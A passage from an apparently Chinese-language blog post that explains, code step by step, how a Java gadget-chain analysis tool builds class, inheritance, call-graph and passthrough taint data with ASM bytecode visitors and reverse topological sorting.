isInterface,
members.toArray(new ClassReference.Member[members.size()]),
annotations);//把所有找到的字段封装
//找到一个方法遍历完成后,添加类到缓存
discoveredClasses.add(classReference);
super.visitEnd();
}
整个methodDiscovery.discovr执行完成,继续到下一步methodDiscovery.save();中,通过DataLoader.saveData完成。其中对于classes.dat和methods.dat分别通过ClassReference.Factory()和MethodReference.Factory()创建的factory进行序列化存储
public static <T> void saveData(Path filePath, DataFactory<T> factory, Collection<T> values) throws IOException {
try (BufferedWriter writer = Files.newWriter(filePath.toFile(), StandardCharsets.UTF_8)) {
for (T value : values) {
final String[] fields = factory.serialize(value);
if (fields == null) {
continue;
}
StringBuilder sb = new StringBuilder();
for (String field : fields) {
if (field == null) {
sb.append("\t");
} else {
sb.append("\t").append(field);
}
}
writer.write(sb.substring(1));
writer.write("\n");
}
}
最终形成的文件格式如下:
classes.dat:
类名(例:java/lang/String) 父类 接口A,接口B,接口C 是否接口 字段1!字段1access!字段1类型!字段2!字段2access!字段1类型
methods.dat:
类名 方法名 方法描述 是否静态方法
在持久化相关数据后,会通过Map来整合ClassReference.Handle和ClassReference之间的映射关系
Map<ClassReference.Handle, ClassReference> classMap = new HashMap<>();
for (ClassReference clazz : discoveredClasses) {
classMap.put(clazz.getHandle(), clazz);
}
接下来进行类的继承以及实现关系的整合分析
InheritanceDeriver.derive(classMap).save();
跟进到InheritanceDeriver.derive中,可以看到做的事就是利用Map来保存继承关系,形成了类- >(父类,接口,超类)的映射关系。
public static InheritanceMap derive(Map<ClassReference.Handle, ClassReference> classMap) {
LOGGER.debug("Calculating inheritance for " + (classMap.size()) + " classes...");
Map<ClassReference.Handle, Set<ClassReference.Handle>> implicitInheritance = new HashMap<>();
//遍历所有类
for (ClassReference classReference : classMap.values()) {
if (implicitInheritance.containsKey(classReference.getHandle())) {
throw new IllegalStateException("Already derived implicit classes for " + classReference.getName());
}
Set<ClassReference.Handle> allParents = new HashSet<>();
//获取classReference的所有父类、超类、接口类
getAllParents(classReference, classMap, allParents);
//添加缓存:类名 -> 所有的父类、超类、接口类
implicitInheritance.put(classReference.getHandle(), allParents);
}
//InheritanceMap翻转集合,转换为{class:[subclass]}
return new InheritanceMap(implicitInheritance);
}
getAllParents方法会递归的将当前观察类的所有父类、接口的父类查找出来,并且添加到allParents集合中
private static void getAllParents(ClassReference classReference, Map<ClassReference.Handle, ClassReference> classMap, Set<ClassReference.Handle> allParents) {
Set<ClassReference.Handle> parents = new HashSet<>();
//把当前classReference类的父类添加到parents
if (classReference.getSuperClass() != null) {
parents.add(new ClassReference.Handle(classReference.getSuperClass()));
}
//把当前classReference类实现的所有接口添加到parents
for (String iface : classReference.getInterfaces()) {
parents.add(new ClassReference.Handle(iface));
}
for (ClassReference.Handle immediateParent : parents) {
//从所有类数据集合中,遍历找出classReference的父类、接口
ClassReference parentClassReference = classMap.get(immediateParent);
if (parentClassReference == null) {
LOGGER.debug("No class id for " + immediateParent.getName());
continue;
}
//继续添加到集合中
allParents.add(parentClassReference.getHandle());
//继续递归查找,直到把classReference类的所有父类、超类、接口类都添加到allParents
getAllParents(parentClassReference, classMap, allParents);
}
}
最后将类名与整合好的allParents形成映射关系,存储到implicitInheritance中:
implicitInheritance.put(classReference.getHandle(), allParents);
接下来会用InheritanceMap构造函数将implicitInheritance的子->父的映射关系进行逆转整合。
private final Map<ClassReference.Handle, Set<ClassReference.Handle>> inheritanceMap;
//父-子关系集合
private final Map<ClassReference.Handle, Set<ClassReference.Handle>> subClassMap;
public InheritanceMap(Map<ClassReference.Handle, Set<ClassReference.Handle>> inheritanceMap) {
this.inheritanceMap = inheritanceMap;
subClassMap = new HashMap<>();
for (Map.Entry<ClassReference.Handle, Set<ClassReference.Handle>> entry : inheritanceMap.entrySet()) {
ClassReference.Handle child = entry.getKey();
for (ClassReference.Handle parent : entry.getValue()) {
subClassMap.computeIfAbsent(parent, k -> new HashSet<>()).add(child);
}
}
}
其中这一行代码会判断inheritanceMap中每个子类对应的set中的value(parent),是否在subClassMap中,如果不存在执行Lambda表达式,创建一个新的空HashSet,将parent作为key,HashSet作为value存入subClassMap,并且将child添加到HashSet中。最终subClassMap就变成了父类->子类的映射关系。
subClassMap.computeIfAbsent(parent, k -> new HashSet<>()).add(child);
举个例子:
假设 inheritanceMap 包含:
"Dog" → {"Animal", "Object"}
"Cat" → {"Animal", "Object"}
则 subClassMap 的构建过程如下:
处理 Dog 的父类 Animal:
subClassMap 中没有 Animal,创建HashSet → Animal: {Dog}
处理 Dog 的父类 Object:
没有 Object,创建HashSet → Object: {Dog}
处理 Cat 的父类 Animal:
Animal 已存在,直接添加 → Animal: {Dog, Cat}
处理 Cat 的父类 Object:
Object 已存在,添加 → Object: {Dog, Cat}
最终 subClassMap 结果:
"Animal" → {"Dog", "Cat"}
"Object" → {"Dog", "Cat"}
最后调用save方法对继承关系进行保存,方法依旧和上面一样,会进行序列化后持久化存储:
public void save() throws IOException {
//inheritanceMap.dat数据格式:
//类名 父类或超类或接口类1 父类或超类或接口类2 父类或超类或接口类3 ...
DataLoader.saveData(Paths.get("inheritanceMap.dat"), new InheritanceMapFactory(), inheritanceMap.entrySet());
}
最终形成的inheritanceMap.dat结构如下:
类名 父类或超类或接口类1 父类或超类或接口类2 父类或超类或接口类3 ...
0x04 入参返回值污染关系收集-PassthroughDiscovery
这一步类似于污点分析,我们对各个方法的参数对返回值的污染关系做出总结:
if (!Files.exists(Paths.get("passthrough.dat")) && ConfigHelper.taintTrack) {
LOGGER.info("Analyzing methods for passthrough dataflow...");
PassthroughDiscovery passthroughDiscovery = new PassthroughDiscovery();
//记录参数在方法调用链中的流动关联(如:A、B、C、D四个方法,调用链为A->B B->C C->D,其中参数随着调用关系从A流向B,在B调用C过程中作为入参并随着方法结束返回,最后流向D)
//该方法主要是追踪上面所说的"B调用C过程中作为入参并随着方法结束返回",入参和返回值之间的关联
passthroughDiscovery.discover(classResourceEnumerator, config);
passthroughDiscovery.save();
}
跟进passthroughDiscovery.discover当中,首先会将我们上一步MethodDiscovery所生成的类、方法、继承信息读取进来
public void discover(final ClassResourceEnumerator classResourceEnumerator, final GIConfig config) throws IOException {
//加载文件记录的所有方法信息
Map<MethodReference.Handle, MethodReference> methodMap = DataLoader.loadMethods();
//加载文件记录的所有类信息
Map<ClassReference.Handle, ClassReference> classMap = DataLoader.loadClasses();
//加载文件记录的所有类继承、实现关联信息
InheritanceMap inheritanceMap = InheritanceMap.load();
接下来通过discoverMethodCalls,来找出所有方法间的调用关系,我们继续跟进
//搜索方法间的调用关系,缓存至methodCalls集合,返回 类名->类资源 映射集合
Map<String, ClassResourceEnumerator.ClassResource> classResourceByName = discoverMethodCalls(classResourceEnumerator);
在该方法中,依然是通过ASM来先对所有的类进行一次观察,用到的visitor是MethodCallDiscoveryClassVisitor,并且这里的MethodCallDiscoveryClassVisitor内部是做了一些包装的,这一部分的执行顺序可能会有点乱,我会在方法分析结束后总结一下:
private Map<String, ClassResourceEnumerator.ClassResource> discoverMethodCalls(final ClassResourceEnumerator classResourceEnumerator) throws IOException {
Map<String, ClassResourceEnumerator.ClassResource> classResourcesByName = new HashMap<>();
for (ClassResourceEnumerator.ClassResource classResource : classResourceEnumerator.getAllClasses()) {
try (InputStream in = classResource.getInputStream()) {
ClassReader cr = new ClassReader(in);
try {
MethodCallDiscoveryClassVisitor visitor = new MethodCallDiscoveryClassVisitor(Opcodes.ASM6);
cr.accept(visitor, ClassReader.EXPAND_FRAMES);
classResourcesByName.put(visitor.getName(), classResource);
} catch (Exception e) {
LOGGER.error("Error analyzing: " + classResource.getName(), e);
}
}
}
return classResourcesByName;
}
分别跟进MCDCV的visit以及visitMethod方法,visit方法中将传入进来的classname进行记录
@Override public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) { super.visit(version, access, name, signature, superName, interfaces); if (this.name != null) { throw new IllegalStateException("ClassVisitor already visited a class!"); } thi
visitMethod方法又创建了一个MethodCallDiscoveryMethodVisitor,并且可以看到在实例化时将上面的mv也传了进去。但其实我们观察MethodCallDiscoveryClassVisitor的构造函数,在调用父类构造函数时并没有传入任何的classvisitor,因此父类ClassVisitor的cv属性为null,最终返回的也是个null,在这里传入给MCDMV的mv也是个null:
@Override
public MethodVisitor visitMethod(int access, String name, String desc,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
//在visit每个method的时候,创建MethodVisitor对method进行观察
MethodCallDiscoveryMethodVisitor modelGeneratorMethodVisitor = new MethodCallDiscoveryMethodVisitor(
api, mv, this.name, name, desc);
return new JSRInlinerAdapter(modelGeneratorMethodVisitor, access, name, desc, signature, exceptions);
} // MethodCallDiscoveryClassVisitor的构造函数
MethodCallDiscoveryClassVisitor visitor = new MethodCallDiscoveryClassVisitor(Opcodes.ASM6);
//父类ClassVisitor的构造函数
public ClassVisitor(final int api) {
this(api, null);
}
public ClassVisitor(final int api, final ClassVisitor classVisitor) {
if (api != Opcodes.ASM6
&& api != Opcodes.ASM5
&& api != Opcodes.ASM4
&& api != Opcodes.ASM7_EXPERIMENTAL) {
throw new IllegalArgumentException();
}
this.api = api;
this.cv = classVisitor;
}
//父类ClassVisitor的visitMethod方法
public MethodVisitor visitMethod(
final int access,
final String name,
final String descriptor,
final String signature,
final String[] exceptions) {
if (cv != null) {
return cv.visitMethod(access, name, descriptor, signature, exceptions);
}
return null;
}
跟进MethodCallDiscoveryMethodVisitor,可以发现父类为MethodVisitor,并且调用父类的构造函数时传入了mv,但其实我们这里静态分析可以分析出来mv是null的,即便传入了在调用MethodVisitor.visitXXX时,最终也不会走到cv.visitXXX上,我这里推测是作者为了工具的扩充性,如果我们需要添加其他的visitor来对方法进行其他处理,那么就可以形成我们之前提到的类似于责任链的方式,来遍历的调用visitXXX:
public MethodCallDiscoveryMethodVisitor(final int api, final MethodVisitor mv,
final String owner, String name, String desc) {
super(api, mv);
我们继续看,可以看到接下来会将传入的owner(此时正在观察的类名)封装到ClassReference.Handle中,并再将这个CRF.Handle和方法名、方法的相关描述封装到一个MethodReference.Handle中,calledMethods是每次观察到一个方法,都会创建的空HashSet,最终形成了观察方法:{被观察方法调用方法}的映射关系存入到methodCalls中:
// private final Map<MethodReference.Handle, Set<MethodReference.Handle>> methodCalls = new HashMap<>();
this.calledMethods = new HashSet<>();
methodCalls.put(new MethodReference.Handle(new ClassReference.Handle(owner), name, desc), calledMethods);
}
继续向下看,类中还有一个visitMethodInsn方法,当检测到方法内部的调用时就会执行(底层原理是检查到字节码指令INVOKEVIRTUAL、INVOKESPECIAL、INVOKESTATIC、INVOKEINTERFACE),从而将正在观察的方法中调用的方法加入到calledMethods中
@Override
public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
calledMethods.add(new MethodReference.Handle(new ClassReference.Handle(owner), name, desc));
super.visitMethodInsn(opcode, owner, name, desc, itf);
}指令调用类型适用方法特点INVOKEVIRTUAL虚方法调用(动态绑定)普通实例方法(非私有、非构造器、非静态)运行时根据对象实际类型选择方法,支持多态INVOKESPECIAL特殊方法调用(静态绑定)构造器、私有方法、super.xxx()编译时就决定调用哪一个,不支持多态INVOKESTATIC静态方法调用static 修饰的方法无需对象即可调用,直接通过类名调用INVOKEINTERFACE接口方法调用接口定义的方法运行时通过接口表定位目标方法,支持多态
回到visitMethod中,最后会进行return操作,并且return的是JSRInlinerAdapter。为什么要return这个类呢,因为在早期的java版本中,使用JSR和RET跳转指令来进行程序流程控制,在后续版本已废弃并使用GOTO指令,因此需要进行兼容处理。JSRInlinerAdapter会将JSR和RET指令转为GOTO指令,从而兼容了早期项目。
return new JSRInlinerAdapter(modelGeneratorMethodVisitor, access, name, desc, signature, exceptions);
经过这些封装,调用cr.accept(visitor, ClassReader.EXPAND_FRAMES);将封装好的MethodCallDiscoveryClassVisitor传入进行方法调用关系收集。accept执行顺序如下:
MethodCallDiscoveryClassVisitor.visit对类进行观察
当观察到方法时调用MethodCallDiscoveryClassVisitor.visitMethod,其中会创建一个MethodCallDiscoveryMethodVisitor实例,并包装为JSRInlinerAdapter返回,创建实例时会自动为观察到的方法添加一个映射关系,即当前观察方法->calledMethods
当触发了visitxxx时,会先把这些visitxxx发给JSRInlinerAdapter,JSRInlinerAdapter通过各个visit方法对JSR和RET跳转指令进行转换。
JSRInlinerAdapter 本身也是一个 MethodVisitor,它的回调时机完全跟 ASM 的方法遍历流程一致,只不过它在内部额外“钩”了两个地方来做子例程(JSR/RET)内联:
visitJumpInsn每当 ASM 在浏览方法字节码时碰到一个跳转指令(visitJumpInsn(int opcode, Label lbl)),就会调用到它的这个方法。
如果 opcode == JSR,它就把这个子例程入口标签记下来,标记说“后面要做内联”
visitEnd当 ASM 遍历完一个方法的所有指令并调用到 visitEnd() 时,JSRInlinerAdapter 会先检查在 visitJumpInsn 里有没有记录过任何 JSR。
如果有,就走 markSubroutines() → emitCode() 的流程,把所有老版本的 JSR/RET 全部展开成 GOTO(以及必要的空值占位等)
然后再把重写后的指令列表一次性转发给它下游的 MethodVisitor(通常是一个 MethodWriter)https://code.yawk.at/org.ow2.asm/asm-analysis/5.2/org/objectweb/asm/commons/JSRInlinerAdapter.java
换句话说:
只要你把 JSRInlinerAdapter 插到你的 MethodVisitor 链上(手动 new 一个 或者在使用 ClassWriter.COMPUTE_FRAMES/ClassReader.EXPAND_FRAMES 时 ASM 自动给你插入),
在方法遍历时遇到跳转就会进 visitJumpInsn,
在方法结束时(visitEnd)就会真正触发“内联 JSR→GOTO” 的逻辑。
这样保证了旧版子例程指令在生成新的字节码之前就被全部消除,适配现代 JVM 对 StackMapFrame 的要求。
4.JSRInlinerAdapter将指令转换并内联后,会通过其visitend方法再次通过accept将visitXXX传递给下一个visitor,也就是传入的MethodCallDiscoveryMethodVisitor的visitMethodInsn方法,从而将被调用的方法添加到当前观察方法的calledMethods中。
accept方法结束后还剩一行,还是将类名和classResource的映射关系存储起来并return:
classResourcesByName.put(visitor.getName(), classResource);
discoverMethodCalls逻辑结束后,接下来是对methodCalls进行一次逆拓扑排序,所谓逆拓扑排序就是把拓扑排序的序列倒过来,什么你还不知道什么是拓扑排序?或许你该学一下数据结构了,或者看一下这篇文章介绍的吧
https://paper.seebug.org/1034/List<MethodReference.Handle> sortedMethods = topologicallySortMethodCalls();
为什么我们要进行逆拓扑排序,因为在方法的调用链上,假设a方法传递参数给b方法,并且b方法的返回值影响到了a方法的返回值,那么我们在判断方法链的时候就不能从a方法来入手,需要从最深处被调用的b方法来入手,观察b方法的参数与返回值之间是否存在关系,如果存在关系则证明了a方法传入b方法的参数与b方法返回值有关,此时b方法返回值影响到了a方法返回值,那么我们也就可以断定ab方法之间存在污染关系。
在方法调用的关系中,我们可以将这些调用抽象为有向图,假设a方法内部调用了b方法,那么我们就可以将a方法对应的图节点引出一条有向边,指向b方法。最终将所有的调用关系全部依次类推,就形成了一个有向图。我们将指向其他节点的边的数量叫做一个点的出度,指向自己的边的数量叫做一个节点的入度,如果找到有向图中一个入度为0的节点,将其节点以及所有的边全部消去,并输出该节点。不断重复这一操作,直到图中所有节点和边全部被消除掉,我们就得到了一组拓扑排序序列,而这一个序列就对应了我们的方法调用顺序。
但事情并没有想象中这么顺利,在方法调用中会出现两种情况,一个是相同的方法可能会存在重复调用,并且方法调用中由于回调等方式的存在,造成图中可能会出现环路,而环路的出现会导致拓扑排序在某一时刻无法找到一个入度为0的点,也就没有拓扑序列的产生了,解决办法上面的文章也提到了。我们用一个例子来看一下具体的执行过程:
假设有以下方法调用关系:
A → B → CA → D
对应的调用图为:
outgoingReferences = { A: {B, D}, B: {C}, C: {}, D: {}}
初始调用:从根节点 A 开始。
dfsTsort(outgoingReferences, sortedMethods, visitedNodes, stack, A);
处理节点 A:
stack 为空,visitedNodes 为空 → 继续。
获取 A 的被调用方法集合 {B, D}。
将 A 加入 stack(当前路径:[A])。
递归处理子节点 B:
dfsTsort(outgoingReferences, sortedMethods, visitedNodes, stack, B);
处理节点 B:
stack 包含 A,不包含 B → 继续。
获取 B 的被调用方法集合 {C}。
将 B 加入 stack(当前路径:[A, B])。
递归处理子节点 C:
dfsTsort(outgoingReferences, sortedMethods, visitedNodes, stack, C);
处理节点 C:
stack 包含 A, B,不包含 C → 继续。
获取 C 的被调用方法集合 {}(无子节点)。
将 C 加入 visitedNodes 和 sortedMethods:
visitedNodes = {C}, sortedMethods = [C]
返回处理 B。
回溯节点 B:
从 stack 中移除 B(当前路径:[A])。
将 B 加入 visitedNodes 和 sortedMethods:
visitedNodes = {C, B}, sortedMethods = [C, B]
处理 B 的下一个子节点(无剩余节点),返回处理 A。
处理节点 A 的第二个子节点 D:
将 D 加入 stack(当前路径:[A, D])。
递归处理 D:
dfsTsort(outgoingReferences, sortedMethods, visitedNodes, stack, D);
处理节点 D:
获取 D 的被调用方法集合 {}(无子节点)。
将 D 加入 visitedNodes 和 sortedMethods:
visitedNodes = {C, B, D}, sortedMethods = [C, B, D]
返回处理 A。
回溯节点 A:
从 stack 中移除 A(当前路径:[])。
将 A 加入 visitedNodes 和 sortedMethods:
visitedNodes = {C, B, D, A}, sortedMethods = [C, B, D, A]
污点分析顺序:
先分析 C(无依赖),确定其污点传播规则。
分析 B(依赖 C),利用 C 的结果。
分析 D(无依赖)。
最后分析 A(依赖 B 和 D),确保所有被调用方法已处理。
若存在循环调用(如 A → B → A):
处理 A → B → A 时,第二次进入 A 的递归:
stack 包含 A → 触发 if (stack.contains(node)) return;
终止递归,避免死循环。
逆拓扑排序后,接下来就是对方法参数和返回值之间污染关系的分析:
passthroughDataflow = calculatePassthroughDataflow(classResourceByName, classMap, inheritanceMap, sortedMethods, config.getSerializableDecider(methodMap, inheritanceMap));
跟进calculatePassthroughDataflow,首先会遍历sortedMethods,如果是静态初始化代码,即静态代码块,就直接跳过,因为静态代码块是在类加载的时候就加载到JVM当中,我们一般没有办法在程序运行中进行控制
final Map<MethodReference.Handle, Set<Integer>> passthroughDataflow = new HashMap<>(); //遍历所有方法,然后asm观察所属类,经过前面DFS的排序,调用链最末端的方法在最前面 for (MethodReference.Handle method : sortedMethods) { //跳过static静态初始化代码 if (method.getName().equals("<clinit>")) { continue; }
接下来就是对当前所遍历的方法的所属类进行ASM观察:
ClassResourceEnumerator.ClassResource classResource = classResourceByName.get(method.getClassReference().getName()); try (InputStream inputStream = classResource.getInputStream()) { ClassReader cr = new ClassReader(inputStream); try { PassthroughDataflowClassVisitor cv = new PassthroughDataflowClas
跟进visitor逻辑,查看visit方法,visit方法会判断当前观察的类是否是要准备观察方法的所属类
@Override public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) { super.visit(version, access, name, signature, superName, interfaces); this.name = name; //不是目标观察的class跳过 if (!this.name.equals(methodToVisit.getClassReference().getName())) {
接着看visitMethod,我们需要观察的类中的方法只需要是sortedMethod中的方法即可,也就是传入进来的methodToVisit,其他方法是不存在调用关系的:
//不是目标观察的method需要跳过,上一步得到的method都是有调用关系的method才需要数据流分析 if (!name.equals(methodToVisit.getName()) || !desc.equals(methodToVisit.getDesc())) { return null; }
接下来是对方法进行更细致的观察,依旧看封装后的PassthroughDataflowMethodVisitor
MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions); passthroughDataflowMethodVisitor = new PassthroughDataflowMethodVisitor( classMap, inheritanceMap, this.passthroughDataflow, serializableDecider, api, mv, this.name, access, name, desc, signature, exceptions);
下面作者用代码模拟了方法调用的过程,从而在模拟的局部变量表(污点变量表)中对参数进行污点标记。我们先来回顾JVM在进行方法调用时都做了哪些事情。假设现在A方法中要调用B方法,那么此时我们是在A方法内部的,那么JVM中会有A方法的栈帧,栈帧中主要两部分,一个是局部变量表,一个是操作数栈,当A方法内部准备调用B方法时,会先将要传给B方法的参数保存到A方法栈帧的操作数栈上,此时JVM会为B方法创建其对应的栈帧,然后在A方法操作数栈上的参数会被弹到B方法栈帧的局部变量表中。B方法内部使用这些参数时,会通过LOAD指令将其从局部变量表加载到操作数栈上,再进行使用。这里的思想就是用代码去模仿JVM的行为,
下面的分析过程基于如下例子,这一段代码调用包含了入参与返回结果相同,返回结果与入参有关的情况,我们分别来看:
public class Main { public String main(String args) throws IOException { String cmd = new A().method1(args); return new B().method2(cmd); }}class A { public String method1(String param) { return param; }}class B { public String method2(String param) { return new C().method3(param); }}class C { publi
逆拓扑排序后的结果为:
A.method1
C.method3
B.method2
main
A.method1
因此我们先从A.method1来进行分析:
这里我们看到visitCode方法,在进入方法的第一时间,ASM会先调用这个方法。对于非静态方法来说,方法参数插槽的第一个0号位位this,对于静态方法,0号位为参数,所以这里将方法内的所有参数保存在一个使用Java代码模拟的局部变量表中,localIndex为参数在局部变量表中的位置,由于参数的类型不同,所以其在局部变量表中占用的大小也不同。而argIndex对应了参数在方法中的索引,通过setLocalTaint方法,形成了局部变量表与方法参数索引之间的映射关系
@Override
public void visitCode() {
super.visitCode();
int localIndex = 0;
int argIndex = 0;
if ((this.access & Opcodes.ACC_STATIC) == 0) {
//非静态方法,第一个局部变量应该为对象实例this
//添加到局部变量表集合
setLocalTaint(localIndex, argIndex);
localIndex += 1;
argIndex += 1;
}
for (Type argType : Type.getArgumentTypes(desc)) {
//判断参数类型,得出变量占用空间大小,然后存储
setLocalTaint(localIndex, argIndex);
localIndex += argType.getSize();
argIndex += 1;
}
}
protected void setLocalTaint(int index, T ... possibleValues) {
Set<T> values = new HashSet<T>();
for (T value : possibleValues) {
values.add(value);
}
savedVariableState.localVars.set(index, values);
}
接下来执行A.method1方法内部逻辑时(即return param),要将局部变量表中的参数通过ALOAD指令读取到操作数栈上,继续模拟,在检测到ALOAD指令时(包括其他访问局部变量表的指令),会回调visitVarInsn,将参数push到模拟的污点栈上,这里的参数可以看到是列表localVars的值,也就是局部变量表中对应的参数索引
@Override
public void visitVarInsn(int opcode, int var) {
// Extend local variable state to make sure we include the variable index
for (int i = savedVariableState.localVars.size(); i <= var; i++) {
savedVariableState.localVars.add(new HashSet<T>());
}
//变量操作,var为操作的本地变量索引
Set<T> saved0;
switch(opcode) {
case Opcodes.ILOAD:
case Opcodes.FLOAD:
push();
break;
case Opcodes.LLOAD:
case Opcodes.DLOAD:
push();
push();
break;
case Opcodes.ALOAD:
//从局部变量表取出变量数据入操作数栈,这个变量数据可能是被污染的
push(savedVariableState.localVars.get(var));
break;
case Opcodes.ISTORE:
case Opcodes.FSTORE:
pop();
savedVariableState.localVars.set(var, new HashSet<T>());
break;
case Opcodes.DSTORE:
case Opcodes.LSTORE:
pop();
pop();
savedVariableState.localVars.set(var, new HashSet<T>());
break;
case Opcodes.ASTORE:
//从栈中取出数据存到局部变量表,这个数据可能是被污染的(主要还是得看调用的方法,返回值是否可被污染)
saved0 = pop();
savedVariableState.localVars.set(var, saved0);
break;
case Opcodes.RET:
// No effect on stack
break;
default:
throw new IllegalStateException("Unsupported opcode: " + opcode);
}
super.visitVarInsn(opcode, var);
sanityCheck();
}
private void push(Set<T> possibleValues) {
// Intentionally make this a reference to the same set
savedVariableState.stackVars.add(possibleValues);
}
接下来当方法调用结束return时,由于使用了ARETURN指令,在解析到无操作数的简单指令时触发visitInsn,我们查看其具体逻辑,可以发现在方法return时,将当前栈上的值返回,即返回的是参数索引set,并将存储到了returnTaint中,代表了A.method1这个方法的调用,参数索引为1的参数param会污染返回值:
@Override public void visitInsn(int opcode) { switch(opcode) { case Opcodes.IRETURN://从当前方法返回int case Opcodes.FRETURN://从当前方法返回float case Opcodes.ARETURN://从当前方法返回对象引用 returnTaint.addAll(getStackTaint(0));//栈空间从内存高位到低位分配空间 break; case Opcodes.LRETURN://从当前方法返回long case Opcodes.DRETURN://从当前方法返回doub
最后对于该方法的观察结束,将污点分析结果存到了passthroughDataflow中,可以看到形成了方法与污染参数目录集合之间的映射关系:
final Map<MethodReference.Handle, Set<Integer>> passthroughDataflow = new HashMap<>(); passthroughDataflow.put(method, cv.getReturnTaint());
C.method3
与A.method1流程一样
B.method2
class B { public String method2(String param) { return new C().method3(param); }}
进入到方法内部,触发visitCode,将参数this、param放入虚拟局部变量表,并形成与参数列表索引的映射关系。
内部方法执行,ALOAD指令触发visitVarInsn,参数this、param push到污点栈。
方法内部调用C.method3,INVOKEVIRTUAL指令触发visitMethodInsn,该方法首先将C.method3参数类型提取,并判断该方法是否是静态方法,如果不是静态方法,将this(被调用方法所在类的实例对象)存入argTypes第一个,并依次存入其他参数。之后获取了方法的返回值类型的所占大小,后面进行使用:
Type[] argTypes = Type.getArgumentTypes(desc); if (opcode != Opcodes.INVOKESTATIC) { //如果执行的非静态方法,则把数组第一个元素类型设置为该实例对象的类型,类比局部变量表 Type[] extendedArgTypes = new Type[argTypes.length+1]; System.arraycopy(argTypes, 0, extendedArgTypes, 1, argTypes.length); extendedArgTypes[0] = Type.getObjectType(owner
接下来初始化argTaint,将其内部元素设置为空,argTaint大小为参数的数量。然后将污点栈中的参数依次存放进argTaint中,对于污点栈savedVariableState.stackVars来说,list从右往左为栈底到栈顶,假设方法参数列表为abc,那么从栈底到栈顶分别为a、b、c。继续将污点栈栈顶元素取出后放在argTaint的最后一个位置,以此类推,从而保证了argTaint中存放的参数索引与C.method3的参数列表的顺序相同。
final List<Set<Integer>> argTaint = new ArrayList<Set<Integer>>(argTypes.length); for (int i = 0; i < argTypes.length; i++) { argTaint.add(null); } int stackIndex = 0; for (int i = 0; i < argTypes.length; i++) { Type argType = argTypes[i]; if (argType.getSize() > 0) { //根据参数类型大小,从栈顶获取入参,参数入栈是从左到右的
接下来判断方法是否是构造器,如果是构造器的话意味着在当前调用方法(B.method2)当中会有这么一段代码:
C c = new C();
因此可以确定被调用方法(C.method3)的返回值结果受到了this(C类实例对象)的污染,那么将argTaint中的0号索引取出,即为this,并将其加入resultTaint。如果不是构造器,那么就创造一个空的HashSet来存储后面的resultTaint。
从passthroughDataflow中拿到被调用方法C.method3的参数与返回值污点分析关系,并判断污点分析关系中的参数是否在当前的argTaint中,如果在则说明被调用方法的返回值被调用者传入的参数污染,这也就是为什么要进行逆拓扑排序。
Set<Integer> passthrough = passthroughDataflow.get(new MethodReference.Handle(new ClassReference.Handle(owner), name, desc));
if (passthrough != null) {
for (Integer passthroughDataflowArg : passthrough) {
//判断是否和同一方法体内的其它方法返回值关联,有关联则添加到栈底,等待执行return时保存
resultTaint.addAll(argTaint.get(passthroughDataflowArg));
}
最后还是return,将B.method2的结果存到passthroughDataflow中
main方法
public class Main {
public String main(String args) throws IOException {
String cmd = new A().method1(args);
return new B().method2(cmd);
}
}
第一步,执行visitCode存储入参到局部变量表
第二步,执行visitVarInsn参数入栈
第三步,执行visitMethodInsn调用A.method1,A.method1被污染的返回结果,也就是参数索引会被放在栈顶
第四步,执行visitVarInsn把放在栈顶的污染参数索引,放入到本地变量表
第五步,执行visitVarInsn参数入栈
第六步,执行visitMethodInsn调用B.method2,被污染的返回结果会被放在栈顶
第七步,执行visitInsn,返回栈顶数据,缓存到passthroughDataflow,也就是main方法的污点分析结果
最后通过passthroughDiscovery.save方法保存分析数据
public static class PassThroughFactory implements DataFactory<Map.Entry<MethodReference.Handle, Set<Integer>>> {
...
@Override
public String[] serialize(Map.Entry<MethodReference.Handle, Set<Integer>> entry) {
if (entry.getValue().size() == 0) {
return null;
}
final String[] fields = new String[4];
fields[0] = entry.getKey().getClassReference().getName();
fields[1] = entry.getKey().getName();
fields[2] = entry.getKey().getDesc();
StringBuilder sb = new StringBuilder();
for (Integer arg : entry.getValue()) {
sb.append(Integer.toString(arg));
sb.append(",");
}
fields[3] = sb.toString();
return fields;
}
}
最后持久化的passthrough.dat文件的数据格式如下:
类名 方法名 方法描述 能污染返回值的参数索引1,能污染返回值的参数索引2,能污染返回值的参数索引3...
0x05 方法调用污染关联-CallGraphDiscovery
我们用这个例子进行分析:
public class Main {
private String name;
public void main(String args) throws IOException {
new A().method1(args, name);
}
}
class A {
public String method1(String param, String param2) {
return param + param2;
}
}
跟进callGraphDiscovery.discover,读取前面收集的数据,然后使用ModelGeneratorClassVisitor进行观察,visitCode观察每一个类,visitMethod观察类中的每一个方法,继续跟进ModelGeneratorMethodVisitor
@Override
public MethodVisitor visitMethod(int access, String name, String desc,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
ModelGeneratorMethodVisitor modelGeneratorMethodVisitor = new ModelGeneratorMethodVisitor(classMap,
inheritanceMap, passthroughDataflow, serializableDecider, api, mv, this.name, access, name, desc, signature, exceptions);
return new JSRInlinerAdapter(modelGeneratorMethodVisitor, access, name, desc, signature, exceptions);
}
进入main方法内部,触发visitCode,main方法不是静态,将this以及参数args存入局部变量表,此处与前面不同的是会在参数索引前加一个arg前缀来进行标识:
public void visitCode() {
super.visitCode();
int localIndex = 0;
int argIndex = 0;
//使用arg前缀来表示方法入参,后续用于判断是否为目标调用方法的入参
if ((this.access & Opcodes.ACC_STATIC) == 0) {
setLocalTaint(localIndex, "arg" + argIndex);
localIndex += 1;
argIndex += 1;
}
for (Type argType : Type.getArgumentTypes(desc)) {
setLocalTaint(localIndex, "arg" + argIndex);
localIndex += argType.getSize();
argIndex += 1;
}
}
我在写到这里的时候有一点疑问,对于visitVarInsn的调用时机。我们来看如下两个例子:
// example 1
A a = new A();
a.method1(args);
//example 2
new A().method1(args);
我们先来看第一个例子,new A()的字节码指令大概如下,可以看到是没有LOAD指令的,在调用构造方法时直接消费的是操作数栈上的A对象引用:
NEW A //创建A类实例
DUP //创建对象引用
INVOKESPECIAL A.<init>()V //调用构造方法
